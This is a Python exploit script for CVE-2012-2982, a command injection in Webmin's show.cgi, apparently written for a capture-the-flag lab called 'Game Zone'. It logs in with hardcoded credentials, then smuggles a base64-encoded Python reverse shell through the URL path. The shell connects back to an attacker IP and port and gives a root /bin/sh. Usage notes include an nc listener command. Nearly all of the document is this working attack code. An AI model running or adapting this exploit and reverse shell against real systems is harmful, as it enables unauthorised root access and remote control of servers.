#!/usr/bin/env python

#CVE-2012-2982 translated from ruby metasploit module (/webmin_show_cgi_exec.rb) 
#program outline:
	# - POST request with compromised creds to get the cookie
	# - exploit using invalid characters to get system shell
	# - fetches system shell as root
	# - sends shell through socket to listening attacker IP
#usage: 
	# - MUST BE SSH TUNNELED INTO MACHINE TO ACCESS localhost
	# - python gamezone.py 
	# - listen with nc -nlvp 4445 on attacker

import sys, os, subprocess, requests, socket, string, secrets, base64

lhost = "10.10.174.47" #attacker IP CHANGE, needs to be a string to convert in payload function
lport = "4445" # listening port, string to convert in payload function

#Login with compromised creds and print good status response
creds = {'page' : "%2F", 'user' : "agent47", 'pass' : "videogamer124"} #must be A dictionary, list of tuples, bytes or a file object
url = "http://localhost:10000/session_login.cgi"

r = requests.post(url, data=creds, cookies={"testing":"1"}, verify=False, allow_redirects=False) #send POST request to login 
#if status code 302 found and sid not empty 
if r.status_code == 302 and r.cookies["sid"] != None:
	print("[+] Login successful, executing payload (listen for shell)")
else:
	print("[-] Failed to login")

sid = r.headers['Set-Cookie'].replace('\n', '').split('=')[1].split(";")[0].strip() #replace the sid cookie newline character, split at = and store the second element (sid) of array, split at ; and stop at first element in array, strip remaining

#generates random characters and delivers the payload
def rand():
	alphaNum = string.ascii_letters + string.digits #custom alphanumeric string variable
	randChar = ''.join(secrets.choice(alphaNum) for i in range(5)) #generate 5 random alphanumeric characters
	return randChar

def payload():
    payload = "python -c \"import base64;exec(base64.b64decode('" #run python command to execute base64
    shell = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""+ lhost + "\"," + lport + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])" #open a socket, send it to the attacking host/port, open the shell
    shell = str.encode(shell) #encode the shellcode as a string
    encoded = base64.b64encode(shell) #encode the string with base64
    encoded = encoded.decode("utf-8") #decode that to be used as a string in the exploit URL
    closing = "'))\"" #close the payload
    payload += encoded #update the payload to contain the encoded/decoded parameters
    payload += closing
    return payload

exp = "http://localhost:10000/file/show.cgi/bin/" + "%s|%s|" % (rand(), payload())

req = requests.post(exp, cookies={"sid":sid}, verify=False, allow_redirects=False) #send POST request to upload shellcode 
